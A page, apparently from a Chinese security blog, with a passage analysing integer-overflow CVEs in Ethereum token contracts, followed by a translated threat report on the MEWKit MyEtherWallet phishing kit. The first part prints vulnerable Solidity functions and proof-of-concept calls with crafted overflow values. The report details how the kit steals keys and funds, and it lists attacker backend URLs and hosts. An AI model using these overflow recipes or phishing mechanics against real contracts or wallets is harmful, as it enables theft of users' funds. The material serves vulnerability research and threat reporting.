1234567891011121314151617181920212223242526272829303132333435363738394041424344454647function allocate(address _address, uint256 _amount, uint8 _type) public onlyOwner returns (bool success) {// one allocations by addressrequire(allocations[_address] == 0);if (_type == 0) { // advisor// check allocated amountrequire(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);// increase allocated amountadvisorsAllocatedAmount += _amount;// mark address as advisoradvisors[_address] = true;} else if (_type == 1) { // founder// check allocated amountrequire(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);// increase allocated amountfoundersAllocatedAmount += _amount;// mark address as founderfounders[_address] = true;} else {// check allocated amountrequire(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);// increase allocated amountholdersAllocatedAmount += _amount;}// set allocationallocations[_address] = _amount;initialAllocations[_address] = _amount;// increase balancebalances[_address] += _amount;// update variables for bonus distributionfor (uint8 i = 0; i < 4; i++) {// increase unspent amountunspentAmounts[BONUS_DATES[i]] += _amount;// initialize bonus eligibilityeligibleForBonus[BONUS_DATES[i]][_address] = true;bonusNotDistributed[BONUS_DATES[i]][_address] = true;}// add to initial holders listinitialHolders.push(_address);Allocate(_address, _amount);return true;}该合约相当于一个代币分配的协议,Owner可以随意给人分配代币,但是不能超过如下的限制:
代币的总额:
uint256 constant INITIAL_AMOUNT = 100 * onePercent;
给顾问5%:uint256 constant ADVISORS_AMOUNT = 5 * onePercent;
创始人要15%:uint256 constant FOUNDERS_AMOUNT = 15 * onePercent;
销售出了60%:uint256 constant HOLDERS_AMOUNT = 60 * onePercent;
保留了20%:uint256 constant RESERVE_AMOUNT = 20 * onePercent;
对应到下面三个判断:
123require(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);require(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);require(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);跟上一个CVE一样,该漏洞本质上也是整型上溢出,但是上一个漏洞,用户可控的变量来至于向合约转账的以太币的数值,所以在实际情况中,基本不可能利用。但是在该漏洞中,用户可控的变量
_amount
,是由用户任意输入,使得该漏洞得以实现下面,利用漏洞给顾问分配超过5%的代币:
- 给顾问A分配
2*onePercent
数量的代币:allocte("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 362830104000000, 0)
- 给顾问B分配一个巨大数量的代币,导致溢出:
allocte("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457583645083025639937, 0)
- 查看顾问B的代币数:
balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457583645083025639937
经过后续的审计,发现该合约代码中的
own
变量只能由Owner修改,所以该漏洞只能被Owner利用3. CVE-2018-11809
该漏洞被称为:”超额铸币“,但实际和之前的漏洞没啥区别
含有该漏洞的合约Playkey (PKT)源码:https://etherscan.io/address/0x2604fa406be957e542beb89e6754fcde6815e83f#code
存在漏洞的函数:
123456789function mint(address _holder, uint256 _value) external icoOnly {require(_holder != address(0));require(_value != 0);require(totalSupply + _value <= tokenLimit);balances[_holder] += _value;totalSupply += _value;Transfer(0x0, _holder, _value);}比上一个漏洞的代码还更简单,只有ico(相当于之前的owner)能执行该函数,阅读全篇代码,ico是在合约部署的时候由创建人设置的,后续无法更改,所以该漏洞只能被ico(owner)利用
该合约本身的意图是,ico能随意给人分配代币,但是发行代币的总额度不能超过
tokenLimit
,但是通过整型上溢出漏洞,能让ico发行无限个代币,利用流程如下:- 部署合约,设置ico为自己账户地址,设置发行代币的上限为100000:
PTK("0x8a0b358029b81a52487acfc776fecca3ce2fbf4b", 100000)
- 给账户A分配一定额度的代币:
mint("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 50000)
- 利用整型上溢出给账户B分配大量的代币:
mint("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457584007913129589938)
- 查看账户B的余额:
balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457584007913129589938
4. CVE-2018-11812
该漏洞被称为:“随意铸币”
相关漏洞合约 Polymath (POLY)源码:https://etherscan.io/address/0x9992ec3cf6a55b00978cddf2b27bc6882d88d1ec#code
具有漏洞的函数:
12345function mintToken(address target, uint256 mintedAmount) onlyOwner {balanceOf[target] += mintedAmount;Transfer(0, owner, mintedAmount);Transfer(owner, target, mintedAmount);}这个漏洞很简单,也很好理解,Owner可以随意增加任意账户的代币余额,可以想象成,银行不仅能随心所欲的印钞票,还能随心所以的扣你的钱
因为Owner是在合约部署的时候被设置成合约部署者的账户地址,之后也只有Owner能修改Own账户地址,所以该漏洞只能被Owner利用
这个我觉得与其说是漏洞,不如说是Owner留下的“后门”
5. CVE-2018-11687
该漏洞被称为:“下溢增持”
相关漏洞合约Bitcoin Red (BTCR)源码:https://etherscan.io/address/0x6aac8cb9861e42bf8259f5abdc6ae3ae89909e11#code
相关的漏洞函数:
1234567function distributeBTR(address[] addresses) onlyOwner {for (uint i = 0; i < addresses.length; i++) {balances[owner] -= 2000 * 10**8;balances[addresses[i]] += 2000 * 10**8;Transfer(owner, addresses[i], 2000 * 10**8);}}该合约限制了发行代币的上限:
uint256 _totalSupply = 21000000 * 10**8;
并且在合约部署的时候把能发行的合约都分配给了Owner:
balances[owner] = 21000000 * 10**8;
然后Owner可以把自己账户的代币,任意分配给其他账户,分配的代码就是上面的函数,给别人分配一定额度的代币时,自己减去相应额度的代币,保证该合约总代币数不变
但是因为没有判断Owner的账户是否有足够的余额,所以导致了减法的整型下溢出,同样也存在整型上溢出,但是因为uint256的上限是
2^256-1
,但是利用过于繁琐,需要运行非常多次的balances[addresses[i]] += 2000 * 10**8;
而减法的利用就很简单了,或者我们可以根本不考虑这个减法,Owner可以给任意账户分配
2000 * 10**8
倍数的代币,该漏洞的功能和上一个漏洞的基本一致,可以任意发行代币或者减少其他账户的代币数因为Owner是在合约部署的时候被设置为部署合约人的账户地址,后续没有修改own的功能,所以该漏洞也只有Owner可以利用
6. CVE-2018-11811
该漏洞被称为:“高卖低收”
相关漏洞合约 Internet Node Token (INT)源码:https://etherscan.io/address/0x0b76544f6c413a555f309bf76260d1e02377c02a
在该CVE的描述中,存在漏洞的函数是:
12345function sell(uint256 amount) {require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy_transfer(msg.sender, this, amount); // makes the transfersmsg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks}并且描述的漏洞原理是:
sellPrice被修改为精心构造的大数后,可导致amount * sellPrice的结果大于整数变量(uint256)最大值,发生整数溢出,从而变为一个极小值甚至归零`
相关函数如下:
123456789function buy() payable {uint amount = msg.value / buyPrice; // calculates the amount_transfer(this, msg.sender, amount); // makes the transfers}function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {sellPrice = newSellPrice;buyPrice = newBuyPrice;}该漏洞的利用流程如下:
- 管理员设置
buyPrice = 1 ether
,sellPrice = 2^255
- 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
- 用户A卖掉两个代币: send(2)
- 用户A将会收到
2*sellPrice = 2^256
价格的Wei - 但是因为
transfer
的参数是uint256, 所以发生了溢出,用户A实际得到0Wei
表面上看这个漏洞还是有危害的,但是我们仔细想想,这个漏洞其实是比较多余的,我们可以使用更简单的步骤达到相同的目的:
- 管理员设置
buyPrice = 1 ether
,sellPrice = 0
- 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
- 用户A卖掉两个代币: send(2)
- 用户A将会收到
2*sellPrice = 0
价格的Wei
我认为该合约最大的问题在于Owner可以随意设置代币的买入和卖出价格。
顺带提一下这个问题也是前面peckshield公布的“tradeTrap”漏洞(https://peckshield.com/2018/06/11/tradeTrap/)提到的“Security Issue 2: Manipulatable Prices and Unfair Arbitrage” 是同一个问题。
总结
经过上面的分析,在这6个CVE中,虽然都是整型溢出,但第一个CVE属于理论存在,但实际不可实现的整型上溢出漏洞,剩下5个CVE都属于对管理者有利,会损害用户利用的漏洞,或者可以称为“后门”,也正是这个原因也导致了一些关于需要Owner触发漏洞意义讨论[2]
如果我们把智能合约类比为传统合同,智能合约代码就是传统合同的内容,但是和传统的合同相比,智能合约拥有三个利益团体,一个是编写合约代码的人(智能合约中的Owner,或者我们可以称为甲方),使用该合约的其他人(我们可以称为乙方),跟该智能合约无关的其他人(比如利用合约漏洞获利的黑客)。从这个角度来看Owner条件下触发的漏洞在理论上是可以损害到乙方的利益,如对于存在“恶意”的owner或者黑客配合其他漏洞获取到owner权限的场景上来说,还是有一定意义的。
另外从整个上市交易流程来看,我们还需要关注到“交易所”这个环节,交易所的风控体系在某种程度上可以限制这种“恶意”的owner或黑客利用。
由此可见合约审计对于“甲方”、“乙方”、交易所都有重要的意义。
知道创宇智能合约安全审计:http://www.scanv.com/lca/index.html
欢迎扫码咨询:
参考链接
-
MEWKit: Cryptotheft 的最新武器
译者:知道创宇安全服务团队、404区块链安全团队
[PDF版本下载]介绍
当谈到加密货币时,会联想到加密货币巨大的价格波动,交易违约、赎金勒索的情况以及许多不同种类的货币。虚拟货币自兴起以来,就一直受到罪犯无情地攻击,许多人都希望能从中获取利益。在此威胁报告中,我们将重点关注Ethereum,也称为“以太”,以及它与名为MyEtherWallet(MEW)的在线服务的关系,该服务是网络钓鱼自动传输系统(ATS)MEWKit的目标。
MEWkit的突出之处在于它远不止传统的网络钓鱼套件那样,除了是一个以窃取凭证为目的的模仿MyEtherWallet前端的网站以外,它也是一个客户端 ,可以处理钓鱼页面捕获的付款细节以转出资金,将资金从钓鱼受害者以太坊钱包直接寄给攻击者控制的钱包。
本报告详细阐述了MEWKit功能,背景以及过去和现在的一系列行为活动,并对2018年4月24日发生的一件重大事件作一些说明。那就是在亚马逊DNS服务器上执行边界网关协议(BGP)劫持攻击,将用户从官方的MyEtherWallet网站重新路由到运行MEWKit的主机。
理解犯罪:理解目标
MyEtherWallet不像其他加密货币交易所和交易平台,它没有内部账户。一个典型的交易所像银行一样运作 ,用户通过创建一个账户来实现资金转入和转出。 通过这种方式,交易所就有了添加了增加了额外安全措施的用户钱包的关键词。 这些银行和交易所也能够执行分析以查看什么设备正在用于登录,并知道从那里登录。
另一方面,MyEtherWallet取消了用户拥有账户的中间步骤,并为用户提供了一个钱包允许他们直接与以太坊网络进行互动。 这种访问使MyEtherWallet变得非常透明,但没有大多数银行和交易所的附加安全层面也造成一些重大风险问题,并使其成为攻击的主要目标。
一旦MEWKit受害者认为他们正在与官方互动,钓鱼攻击就成功了。MyEtherWallet网站的资金可直接转给攻击者。 因此,我们说MEWKit是专门为MyEtherWallet制作的网络钓鱼ATS。
MEWKit 技术分析
MEWKit由两部分组成:一个模仿MyEtherWallet站点的钓鱼页面和一个处理日志的服务器端,攻击者一旦进行网络钓鱼就会将受害者的钱包里面的资金转移至攻击者指定的地点。 典型的钓鱼网页通常会重定向到网站的合法版本,这样受害者可以再次登录,MEWKit只是通过受害者的浏览器,使用MyEtherWallet对以太坊的独特访问权限,在后台进行交易。
MEWKit被其开发者称为自动传输系统,因为它捕捉到的任何钓鱼信息都会立即用于从受害者的钱包中转移资金。ATS恶意软件运营的概念来源于它的恶意软件操作,它将脚本注入金融网站上的活动网络会话中,以便将资金从受害者账户中转出,并在被感染的电脑上利用受害者登陆的账户在短时间内无形地自动完成转帐。
一旦用户登录,MEWKit就会检查他们的钱包余额并从服务器端请求接收者地址。然后将攻击者的拥有的钱包设置为接收者地址,利用正常的MyEtherWallet功能转移受害者的全部余额。
MEWKit 钓鱼页面
由于MyEtherWallet完全在客户端运行,并且可以脱机运行,因此攻击者可以下载手动构建它,这正是MEWKit的开发者所做的。MyEtherWallet源代码可以从GitHub下载:https://github.com/kvhnuke/etherwallet
MEWKit是由一个添加多个脚本的MyEtherWallet组成。 它在页面中嵌入了两个额外的JavaScript资源文件,通常命名为:sm.js和wallet.js 。它们都从合法的MyEtherWallet脚本文件路径相同的目录中加载。
wallet.js - Configuration
该脚本充当MEWKit其余部分的配置文件。 它有两个选项来设置:
js_stat
这个变量是包含后端地址的字符串,开发者称其为'admin面板' ,此变量的值用于获取转帐资金的接收地址和发送页面上发生的所有事件的日志。
user_in_page
虽然变量名称有些模糊,但它只是用来标记启用或关闭日志记录的, 1表示启用日志记录,0表示无日志记录。
sm.js - Core
该脚本包含MEWKit的功能部分,并挂接到MyEtherWallet的源代码中。该脚本顶部包含一组全局变量:
____pwd
包含受害者的钱包中的助记符短语或密码/密钥库JSON文件内容。
ikey
目前尚未在我们观察到的任何MEWKit版本中使用。它会在所有的回调中发送到后端,但是除了初始值“none”以外,没有被设置其他值。
txt_ua
包含受害者的用户代理,并调用navigator.userAgent
send_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将
send_block_flg
设置为0并开始将可用余额转账。标志位为1的话,不会启动任何交易而且会阻止任何正进行的交易。balance
一旦用户登录到MEWKit钓鱼网站,将显用户钱包中的可用余额页面。
eth_recipient
包含攻击者控制的用来转移盗取资金的接收地址。
balance_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将balance_block_flg设置为0,开始检查受害者钱包中的可用余额。
count_flg
包含一个二进制0或1标志。标志设置为1,会触发假倒计时MEWKit页面。当MEWKit开始获取钱包凭证的时候开始转移可用余额。
在这些全局变量之后,该脚本包含一组用于进行钓鱼和自动化资金转账的功能。我们不会具体解释每一个功能,但我们会显示套件的执行流程。
MEWKit 挂钩在 MyEtherWallet 源码中
MEWKit挂钩了MyEtherWallet的正常功能,我们将逐个浏览它所放置的钩子。MEWKit首次出现在MyEtherWallet源码中主页的
<header>
部分。 已经添加了两个MEWKit脚本和一个jQuery脚本:下图,我们将在
<body>
标记中找到来自MEWKit的函数调用:该功能禁用一个用户的常见功能,即查看他们的钱包信息和余额。它还确保启动事务按钮将禁用页面上的任何其他按钮,确保用户不能去其他地方。
下一个MEWKit函数调用可以在主体中看到:
该功能保证欢迎消息能正确地更新,它通常显示的内容为“MyEtherWallet.com” 。因为钓鱼页面的域名不总是与MyEtherWallet.com近似,有时是Ethereum及其变种单词,这个函数调用确保窗口标题和页面信息与用户正在访问的网站相匹配。攻击者不必为他们设置的每个页面更改构建。
MEWKit的下一个函数被挂接到允许访问者看到钱包余额的按钮上:
此功能将在用户点击钱包余额按钮时执行,并重定向用到资金转移处,MyEtherWallet代码提供资金转移功能,这样MEWKit可以进行它所需要的交易。
另外,MEWKit将改变MyEtherWallet页面上的正常视觉效果。 通常情况下,用户所在页面的按钮会突出显示,但MEWKit会突出显示'查看电子钱包信息'按钮,当用户正在转账页面上时,“查看电子钱包信息”按钮也会将用户转到资金转移页面。 当我们访问MEWKit实例时,可以看到这种行为。注意禁用的可见性通常显示的Ether-sending头部:
从MEWKit到MyEtherWallet的最后一次插入不在HTML页面中,而是在官方源代码中文件:etherwallet-master.js。MyEtherWallet本身是使用AngularJS框架编写的,允许开发人员构建动态功能的网页而不是静态HTML页面。AngularJS允许他们对功能和元素进行模板化,从而更轻松地提供动态网站体验。
当用户为使用MyEtherWallet的钱包而解码的时候,MEWKit通过添加一个函数调用来挂钩到angular JS。放置的函数叫做PrivateKey_decryptWallet,这将在下一章讨论ATS执行流程中详细介绍。我们可以看到很不好的是javascript源文件中的钩入函数是一个Angular JS文件:
我们可以看到我们本应该查看我们的钱包信息的页面,但是实际却开始了一个事务,如前面的截图所示。 以下是MEWKit的入口获取解密的钱包的内容:
如图所示,这些功能不会自行开始传输。 上述功能只是准备对用户进行网络钓鱼攻击页面。
ATS Execution flow
当用户点击一个MEWKit页面时,它会为钓鱼和ATS功能做好准备,如上所示。后在准备工作中,每次都会执行一个函数,调出后端日志,这只会影响后端wallet.js中的user_in_page变量,将其设置为1(启用日志标注)时执行:
send_data_login_
函数在ATS的整个运行过程中使用,我们将解释它以下功能供以后参考。 MEWKit对后端执行标注的方式非常完美。有趣的是,它基于提供给函数和全局的参数构造一个URL变量。 然后将该URL作为新的脚本资源嵌入主浏览器的主页面中执行标注。 如下所示:如图所示,
send_data_login_
函数构造一个URL,然后将其放入一个新的脚本元素中,附加到文档的<head>
。 以下是执行该操作的MEWKit实例的示例:有意思的是服务器返回一个小的JavaScript片段,它设置一个名为jsess_msg的全局变量,该变量稍后与ATS功能的其余部分相关。 这是后端根据日志消息返回的内容:
这个函数有另一个版本叫做
send_data_login_pv
,因为它被修改为记录钱包到后端的私钥,这个版本的格式也可以编码和发送私钥。只有当用户上传私钥访问他们的钱包时,才会调用这个函数,密钥文件内容也被转发到后端。当受害者通过使用MyEtherWallet提供的方法解密他们的钱包时,ATS功能开始实际运作,该方法触发
PrivateKey_decryptWallet
函数的onclick事件。 这个函数遍历用户可以使用的所有不同的身份验证选项并记录用户使用了什么方法,然后它开始自动传输代码。 下面是一个对每种认证方法重复的功能:您可以看到MEWKit记录用户使用的认证方法,设置余额并将标志位设置为0并调
check_send_block
函数。在我们跳转到
check_send_block
函数之前,有一些重要的东西需要理解:这个特定的高亮示例使用send_data_login_pv
函数,该函数还会发送钱包的私钥到后端。这意味着MEWKit进行攻击后仍然可以访问受害者的钱包。 如果受害者购买更多以太币,攻击者可以继续盗取受害者的资金。这同样适用于另一种验证方法。 使用keyfile / JSON文件上传方法将文件上传到后端这也允许MEWKit攻击者继续访问受害者的钱包:
函数会将上传的文件发送到后端脚本post.php中由后端路径的js_stat配置变量作为前缀。
函数将通过查看发送功能是否可用来检查受害者是否成功验证:
这个函数会一直调用它自己,但会用标志阻塞,直到受害者可以启动交易。
然后代码跳转到
check_balance_block
函数:虽然这个功能看起来很复杂,但它所做的只是通过手动解析HTML来检查钱包的余额,一旦它可以确定一个可用余额,就会将其记录到后端,并且调用
check_valid_balance
函数:check_valid_balance
函数检查余额是否为正数。 如果不是,它会在后端记录一条消息,申明'Stop ATS'。如果检查余额为正数,它将通过调用get_address函数来继续执行流程。 这个功能与日志功能类似,它会构建并嵌入一个脚本资源URL,以便将浏览器调用到后端。 这个用于获取收件人地址的URL是静态的,只添加当前时间戳到URL的末尾。时间戳会附加到URL上,因为浏览器通常会很智能地使用它,并且如果相同的资源被追加两次,只会使用缓存的结果。 通过添加此时间戳会生成独一无二的URL,来确保后端服务器的更新响应:
LoadScript函数创建一个新的脚本元素并将URL设置为由get_address生成的URL。一旦资源被加载,它将调用
get_state_address
函数继续执行流程。get_state_address
函数是jsess_msg变量中设置的值的解析器,该变量由后端通过LoadScript函数。 消息的解析如下所示:get_state_address
通过剪切和切分字符串值响应来解析变量内容,以解析出将被盗资金转移到的接收地址。 如果消息的响应中包含[EMPTY],则MEWKit将停止处理并在日志中记录没有接收地址。 如果它能够从响应中获得地址,它将调用set_data函数,这是转移资金的最后一步。set_data函数将通过设置接收地址来准备一个事务去触发输入。并在
set_get_trans
函数排队延误之前点击传输按钮。点击转移按钮将使用户进入交易概览页面。 然后,set_get_trans
函数快速按下按钮以生成事务记录,之后它会对set_yes_mk_trans
函数进行排队,然后再确认事务。 这将启动余额转移,从而窃取受害者钱包中的可用余额。基本上,这些最后几项功能可以像合法用户那样只需按下按钮便可以自动创建,确认和开始转账。以下是我们上文提到过的MEWKit核心的所有功能:
这种以自动方式窃取以太坊的功能,和我们之前在钓鱼工具包中看到过的不一样。
MEWKit服务器端
如上所示,MEWKit的主要功能,如部分ATS,能在JavaScrip客户端中完全运行。MEWKit的后端仅用于:
- 日志存储:ATS中的每个步骤都会记录下每个受害者,并将其全部报告给后端
- 私钥和密码存储:如果用户使用助记符或密码登录,则会记录和在C2上提取并存储以供以后访问。
- 提供接收地址:将参与收件人的地址保留在后端和传送给被钓鱼的客户。
在大多数情况下,MEWKit实例的后端服务器为攻击者提供了他们正在从事的工作的概况。
MEWKit的限制:硬件钱包
虽然MyEtherWallet支持各种硬件钱包,如Trezor8,Ledger Wallet9,Digital,Bitbox10和Secalot11,但却不支持从这些钱包中获取密钥。这意味着那些在使用硬件钱包时被MEWKit钓鱼的人不会受到MEWKit的ATS的影响,但仍然需要在处理之前确认其钱包上的交易。因为硬件钱包的私钥存储在内部,因此不会暴露于MEWKit。
突发的原因不明的的交易是打击MEWKit的一个标志,当然也不会接受交易所需要采取的措施。MEWKit会记录所有尝试使用硬件钱包的登录信息,它只是无法使用其ATS功能自动进行资金转账。
活动的历史概述
以下部分概述了我们在RiskIQ数据库中集中观察到的所有数据攻击。以下各节中提到的AnyIOC也可以在本报告末尾的妥协指标(IOC)部分中找到。
请注意,我们没有描述观察到的每个MEWKit钓鱼网站,只列出了那些因各小节中描述的原因而可以进行钓鱼攻击的钓鱼网站。我们观察到的所有主机的完整列表可以在本报告结尾附近的“妥协指标”部分找到。
权限边缘之亚马逊53
4月24日11:00 UTC过后的一会儿,针对与亚马逊路由5312相关的IP空间执行了边界网关协议(BGP)劫持,该路由是亚马逊DNS供应系统。这意味着未经授权的用户可以重新将路由一部分旨在AmazonRoute 53的流量传输到自身,并将域分辨率重新路由到他们自己选择的端点。
重新路由MyEtherWallet访客
通常在亚马逊的AS16509下宣布(并维护)的以下IP块已由eNet在AS1029713下公布:
205.251.192.0/24
205.251.193.0/24
205.251.195.0/24
205.251.197.0/24
205.251.199.0/24这些IP地址是Amazon Route 53为通过此服务维护的任何域执行DNS路由的一部分。驻留在AS10297中的上述IP块的新端点开始路由预定用于路由53的一些流量并回复来自用户的DNS查询。
实际上,我们可以看到这个AS宣布的前缀相对于它通常所宣称的非常固定的一组块而言:
Source: https://bgp.he.net/AS10297
最终处理通常用于Route 53的流量的DNS服务器只设置了一个域来解决:myetherwallet.com。任何其他请求的域名都会被SERVFAIL响应,这是人们已经注意到的。新的DNS服务器响应一个新的IP地址MyEtherWallet,46.161.42.42,驻留在AS41995。根据地理位置,这台服务器来自俄罗斯。如果我们提供一些有关此AS的WHOIS信息,会发现它并不是一个好兆头。
在东欧分配一个AS,并在WHOIS中使用Gmail等免费服务的电子邮件地址通常是一个不好的迹象。我们可以从组织WHOISdetails中获得更多有关此地址的信息:
根据WHOIS信息,自2014年底以来,电子邮件地址的域名一直存在,并且其详细信息始终存在于WHOIS隐私服务之后。目前,主网站onweb-shield.biz处于离线状态,但通过查看档案数据,我们可以找到一个旧的托管公司网站:
Webshield对我们行业中的许多人来说都很熟悉,因为在他们的网站中有许多用于恶意目的的网站IP空间,其中一个例子是Rescator15。我们最感兴趣的是拥有这个AS的主机却已经关闭了它的网站托管网站,但仍然提供了托管机会。我们可以将Webshield定义为一个防弹主机。
以太劫持:通过MEWKit实现资金转账自动化
虽然对亚马逊Route 53的攻击非常复杂,但攻击者用于托管在Webshield AS上的服务器上的钓鱼站点的设置却不复杂。他们在服务器上放置的证书实际上并不是有效的证书,他们使用WHOIS隐私服务背后的myetherwallet [.]com创建了自己的自签名证书。这里是以太钱包WHOIS:
Source: https://community.riskiq.com/search/myetherwallet.com
以下是我们在使用MEWKit的Webshield主机上观察到的SSL证书:
Source: https://community.riskiq.com/search/certificate/sha1/4ee8ad8ef36d1e4461526997b78415b6dc306ee3
攻击者只需根据WHOIS详细信息生成证书,该证书由几乎任何现代Web浏览器标记。然而,人们好像还是忽略了这些警告选择了点击,即使有人报告资金被MEWKit从他们的以太钱包中撤出。
MEWKit页面本身与任何正确构建钓鱼页面一样,看起来与正常的以太钱包网站完全相同:
然而,我们在这次攻击中看到的设置与我们在正常MEWKitinstall上看到的不同。如果我们看一下文档对象模型(DOM),我们会看到正常的MEWKit脚本(顶部MEWKit,底部MyEtherWallet.com):
注意,脚本没有以任何方式混淆 ,看起来他们似乎是正确的。如果我们看看wallet.js,其中包含日志记录配置和后端位置,我们得到这个:
第一个变量将报告后端设置为
http://46.161.42.42/pind/
,第二个变量不可用日志记录。如果我们转到sm.js,我们已经可以在脚本的顶部看到添加了附加变量的一些更改:正如上面MEWKit的功能所解释的,
eth_recipient
变量与被盗资金的接收者有关。如果我们检查get_state_address
函数通常设置(单个)的eth_recipient
变量值,我们看到开发者一直在实现多个收件人地址。该代码仍然包含注释部分,开发者忘记将添加的eth_recipient_n
变量注释掉,因为它们没有被使用。该函数还包含一个注释掉的console.log调用,该调用会将消息记录到控制台。这让我们更加确定开发者正在测试用于脚本攻击的新功能。
通过这个图表,我们可以找到更多俄文评论的证据。我们翻译了所有评论,并根据所用的措辞,很可能由熟悉财务条款的俄语母语人士撰写(有关下文的更多信息)。我们将逐个评论。在他们不直接翻译成英文的情况下,我们会做出解释。
上面的文字‘проверяем доступность секции с траншем’提到在代码段中检查‘траншем’的可用性,这是一个有趣的用词和重要的发现。 该注释是关于下面的代码将通过钱包地址来获得钱包中资金的总余额的事实。 ‘траншем’这个词是‘ranche’的俄语,来自法语单词,表示交易的一部分或一部分。
第一条注释‘получаем баланс’,即’得到平衡’,第二条注释’баланс’是平衡’一词,第三条注释,’стоп работ’,意为’停止工作’,这能说得通是因为当程序检查到余额为0的时候来到了这条正确的分支,意味着ATS没有资金可以转移而程序可以停止工作了。
第一条注释,’оставить кошелек получателя’,翻译过来就是’设置收款人的钱包’,这与设置从钓鱼受害者的钱包中转移资金的交易收款人钱包地址的函数有关。第二条注释,’отправить весь баланс в эмаунт ’,翻译过来就是’将全部余额转移’。这句话中的最后一个单词’эмаунт’是拼写为西里尔文的非俄语单词。
这些注释的出现意味着脚本的作者是一个以俄语为母语并至少拥有一定财务知识的人。
结论
自事件发生以来,已经发布了很多关于这次具体攻击的具体细节,但我们决定更深入地了解到底发生了什么,并挖掘出与MEWKit相联系的额外见解。 亚马逊Route 53劫持(事件)只有一个目标。 虽然这次袭击的范围相对较小,但其范围可以更为巨大。
互联网是在几十年前创建的,并不是所有的构建模块都已经过时了 - BGP和DNS仍然是我们全球互联网中存在问题但至关重要的一部分。 与大多数网络安全问题一样,针对这些类型的攻击也有解决方案,但它们的效果取决于链中的每个人都加强安全性并部署解决方案。
IDN Phishery
几乎所有MEWKit实例都要注意的一点是攻击者利用国际化域名(IDNs)。 国际化域名攻击并不新鲜,但遗憾的是,它们在利用MEWKit的攻击中似乎非常有效。
浏览器正在迎头赶上去解决这个问题,Firefox和Chrome都实现了一个非常简单的算法来检查域名中的所有字符是否属于同一种语言。 如果不是,则显示以'xn--'开头的IDNA符号。 这个过滤器确实可以防止MEWKit的大量攻击,因为攻击者们使用来自西里尔文,希腊文,亚美尼亚文和希伯来文的特殊语言字符来替换带有特殊字符变体的字母。
当然,那些仍然会通过这些过滤器,我们希望在MyEtherWallet交易的每个人时保持小心。 请密切关注您打开的是哪个网址,最好是使用MyEtherWallet的书签页或自己输入域名。 不要使用来源于电子邮件,社交媒体的链接。
不同之处
MEWKit战役中使用的大多数域和主机都使用非常特定的格式来模仿MyEtherWallet。 然而一个运行MEWKit的主机却不一样,经过仔细检查后发现其运行了一些令人好奇的脚本。 有问题的主机是tikkiepayment.info,托管在31.31.196.186。 4月9日,MEWKit实例被托管在
myyetherwallett.com/myether/
,它从以下位置加载它的MEWKit脚本:12myyetherwallett.com/myether/js/wallet.jsmyyetherwallett.com/myether/js/sm.js其后台地址在 wallet.js 脚本中被设置为 https://tikkiepayment.info/showpanel/ ,wallet.js 中还包含着解释变量的注释:
我们还发现位于同一主机上其他MEWKit的后台路径地址:
123https://tikkiepayment.info/pp/https://tikkiepayment.info/mycryptopanel/https://tikkiepayment.info/showpanel/如果我们检查一下主机tikkiepayment.info,我们发现一些之前从来没有在其他MEWKit实例中见到过的奇怪的东西:它为攻击者运行着与MEWKit无关的基于web的工具。在 https://tikkiepayment.info/pv/ 上,托管着一个允许攻击者使用MyEtherWallet API来批量检查Ethereum keys的工具:
尽管网络犯罪中窃贼之间通常不存在荣誉,但该工具是其他人可以使用的精简版MyEtherWallet,它检查帐户是否有效并且有一些余额。根据服务器上存在的工具以及它是我们曾经观察过MEWKit上的第一台主机的事实,我们认为这台主机是由MEWKit的创建者设置的。此外,根据本报告底部IOC部分显示的注册信息,域名会在任何MEWKit主机设置之前一个月进行登记。
走出以太坊
尽管我们不能确切的说MEWKit操作是单一攻击者,但我们确实发现了MEWKit实例和其他加密货币和加密货币交易所的钓鱼页面之间的一些有趣链接。
4月17日,MEWKit实例在
www.xn--myetherwalle-occ.com
上正式运行,它的MEWKit脚本从以下位置加载:12cdnsfiles.com/js/wallet.jscdnsfiles.com/js/sm.js后端位置托管在,但另一个MEWKit实例直接托管在cdnsfiles.com上,其资源从上述同一位置加载,后端位置设置为cdns文件的.com / ADM /。
我们看到另一个网站从cdnsfiles.com加载资源,这不是MEWKit实例,而是blockchain.info的钓鱼页面。 该页面本身是一个普通的钓鱼网站,并没有包含MEWKit所拥有的ATS组件 - 它只是收获了登录凭证。 然而,更有趣的是它从以下位置加载资源:
它在用于MEWKit的同时使用cdnfiles.com作为其钓鱼资源,这告诉我们MEWKit背后的攻击者拥有非常广泛的钓鱼页面组合。如果我们查看钓鱼页面的主机,185.207.205.16,我们发现另一大部分钓鱼域名主要关注blockchain.info。 然而,Coinbase也有一个IDN网络钓鱼:
资源: https://community.riskiq.com/search/185.207.205.16
综上所述,因为此报告仅关注MEWKit ,所以RiskIQ PassiveTotal中的域名尚未添加到本报告的IOC部分。然而,由于它提供了MEWKit,因此在本报告IOC部分中提到的IP地址将提供足够的数据点来开始单独的调查。
总结
MEWKit自今年年初就一直被广泛使用了,尽管我们在2018年以前都没见过它,但或许MEWKit在外界早已以不同的功能或形式活跃了。BGP劫持亚马逊Route 53的行为显示了它驱动的攻击者和活动的持续性,执行其攻击的成本表明MEWKit异常成功,技术虽然简单,但却有效地窃取了以太坊。
